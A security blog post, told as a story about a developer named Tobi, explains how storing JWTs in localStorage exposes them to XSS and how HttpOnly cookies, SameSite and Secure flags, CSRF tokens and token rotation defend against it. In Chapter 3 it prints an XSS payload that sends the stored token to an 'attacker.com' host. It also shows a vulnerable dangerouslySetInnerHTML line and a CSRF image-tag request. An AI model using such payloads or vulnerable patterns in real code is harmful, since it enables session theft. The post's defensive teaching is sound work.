The Mistake of JWT: How One Developer Almost Lost Everything
Security

The Mistake of JWT: How One Developer Almost Lost Everything

Discover how Tobi almost lost his web empire due to a simple JWT storage mistake, and learn how he recovered from the fatal blow of unseen attackers.

MK
Written by Mike Kanu
AI Software Engineer | Technical Adviser | Writter
March 20, 2026
4 min read
151 views
Please Share:
The mistake of JSON Web Tokens (JWT), as the title suggests, began with a young developer named Tobi. “Who is Tobi?” you might ask 😊. Well, let’s leave it at that for now. He’s just a young developer. As the story unfolds, you’ll get to know him better and, hopefully, learn from his mistakes.

Chapter 1: “It Works, Ship It.”

Tobi had just finished building his new SaaS product. authentication, JWT, Frontend talking to the backend smoothly, he leaned back, proud of his accomplishment.
He could store and get the JWT from the localStorage, all good right!! 😋
Javascript
// Login response
localStorage.setItem("token", jwtToken);
A simple, clean, and fast implementation, Tobi says, for every request, I can just get my JWT and add it to my authorization header.
javascrip
fetch("/api/user", {
  headers: {
    Authorization: `Bearer ${localStorage.getItem("token")}`
  }
});
He had also read somewhere that JWTs are "stateless" and "modern". All things being equal, my code works, Tobi said, then he deployed.

Chapter 2: The Invisible Crack

Weeks later, users were signing up, and everything seemed to be going smoothly, until one day, calamity struck 😵‍💫.
A user reported

“I got logged out… and then logged back in as someone else.”

Tobi froze 😳. A confusing rush of thoughts swept through his mind like a sudden breeze 💭💨.
  • “What could have caused this?”
  • “Could this even be possible?”
Then, an aha moment hit him. He whispered to himself… “Unless…”

Chapter 3: The Silent Intruder: Cross-site scripting (XSS)

Unknowingly to Tobi, His app had a small vulnerability:
javascript
<div dangerouslySetInnerHTML={{ __html: userBio }} />
He trusted user input too much, unaware of the ancient wisdom passed down by seasoned developers

“Never trust a user.”

An attacker injected this:
javascript
<script>
  fetch("https://attacker.com/steal?token=" + localStorage.getItem("token"))
</script>
And just like that, every user's JWT was exposed 💀.
You might ask why? This is because LocalStorage is accessible via JavaScript.

The Core Problem

localStorage + JWT = Vulnerable to XSS
  • Any injected script can read it
  • Tokens can be stolen silently
  • Attacker can impersonate users
This is one of the most common real-world issues flagged by OWASP

Chapter 4: The Awakening

Tobi dove into research and discovered something critical on MDN Web Docs:

“Cookies can be made inaccessible to JavaScript.”

That’s when he learned about: HttpOnly Cookies

Chapter 5: The Fix — HttpOnly Cookies

Instead of storing JWT in localStorage:
Javascript
// ❌ DON'T DO THIS
localStorage.setItem("token", jwt);
Use cookies from the backend:
Javascript
//  Server-side (example)
res.cookie("token", jwt, {
  httpOnly: true,
  secure: true,
  sameSite: "Strict",
});
Why this works:
  • httpOnly → JavaScript cannot access it
  • Even if XSS happens → token cannot be stolen
Note: You might ask, using httpOnly cookies, Can i still test my authentication locally?. The answer is Yes, you can, with the configuration below.
Looking at the cookie options:
javascript
{
  httpOnly: true,
  secure: true,
  sameSite: "Strict",
}
  • secure: true means the cookie will only work over HTTPS.
  • On http://localhost, your browser will reject the cookie.
  • sameSite: "Strict" is very restrictive, it blocks cookies on cross-site requests, like clicking links from email or other domains.
Fixing it for local dev with environment variables
We can make it smart by using an environment variable to switch between dev and production:
Javascript
const isProduction = process.env.NODE_ENV === "production";

res.cookie("token", jwt, {
  httpOnly: true,
  secure: isProduction, //  HTTPS only in production
  sameSite: isProduction ? "Strict" : "Lax", //  Lax in dev for testing
});
How this works:
  1. Local development (NODE_ENV !== "production")
    • secure: false → cookie works over HTTP
    • sameSite: "Lax" → allows normal testing, login links, and frontend requests
  2. Production (NODE_ENV === "production")
    • secure: true → cookie is only sent over HTTPS
    • sameSite: "Strict" → maximum protection against CSRF

Chapter 6: The Second Battle: CSRF

Back to Tobi's story 😋, Tobi also researched Cross-Site Request Forgery (CSRF), and he learnt that an attacker could trick a user into making a request like:
Javascript
<img src="https://yourapp.com/api/delete-account" />
Since cookies are sent automatically, the request will definitely execute. Tobi was left in utter awe 😬 at how deep he could go into protecting his website. So he studied deeper to get a good blend of defensive layer.

The Defense Layers

1. SameSite Cookie Flag
Javascript
sameSite: "Strict"
  • Prevents cookies from being sent in cross-site requests
  • First line of defense against CSRF

2. Secure Flag
Code
secure: true
  • Ensures cookies are sent only over HTTPS
  • Prevents interception on insecure networks

3. CSRF Tokens (Advanced Protection)
Generate a token per session:
Code
// Server
req.csrfToken()
Send it to frontend and require it in requests:
Code
fetch("/api/action", {
  method: "POST",
  headers: {
    "X-CSRF-Token": csrfToken
  }
});

Chapter 7: The Token Strategy Upgrade

Tobi realized something deeper:

““Even if a token is stolen… it shouldn’t last forever.””

When the access token expires, the frontend triggers a refresh request. The server validates the refresh token (sent automatically via HttpOnly cookie), issues a new access token, rotates the refresh token by issuing a new one, and invalidates the old refresh token
  • Access Token (Short-lived)
    1. Stored in HttpOnly cookie
    2. Expires quickly (e.g., 15 mins)
  • Refresh Token (Long-lived)
    1. Also, in HttpOnly cookie
    2. Used to get new access tokens
  • Token Rotation: Every time a refresh token is used:
    1. Issue a new one
    2. Invalidate the old one
Code
// Pseudo logic
if (refreshTokenUsed) {
  invalidateOldToken();
  issueNewRefreshToken();
}
As this prevents reuse if stolen

Chapter 8: The Aftermath

Tobi refactored everything:
  • ❌ Removed localStorage tokens
  • ✅ Switched to HttpOnly cookies
  • ✅ Added SameSite + Secure
  • ✅ Implemented CSRF protection
  • ✅ Introduced token rotation
Weeks later… No more strange logins. No more silent attacks. Just peace 🥰.

JWT Storage: The Truth

Method XSS Risk CSRF Risk Recommendation
localStorage ❌ High ✅ Low Avoid
HttpOnly Cookie ✅ Low ❌ Medium Best (with CSRF protection)

Final Lesson

“JWT is not insecure. Where you store it determines your security.”

Tobi learned the hard way. You don’t have to. Because in security

“The biggest mistakes are the ones that “just work.””


Join the Conversation

If you enjoyed this story, don’t forget to share this post with your network! I’d also love to hear your thoughts and experiences in the comments, have you ever faced security challenges with JWTs or web authentication?
And if you want more stories about Tobi’s adventures in web security, let me know, I’d be thrilled to write the next chapter of Tobi's adventures for you! 🫡🥰
MK

Mike Kanu

Author

AI Software Engineer | Technical Adviser | Writter

0 comments

Comments (0)

Sign in to join the conversation

No comments yet

Be the first to share your thoughts!

Cookie Settings

We use cookies to enhance your experience and show personalized ads. By clicking "Accept All", you agree to our use of cookies.

Read our Privacy Policy and Cookie Policy to learn more or update your preferences.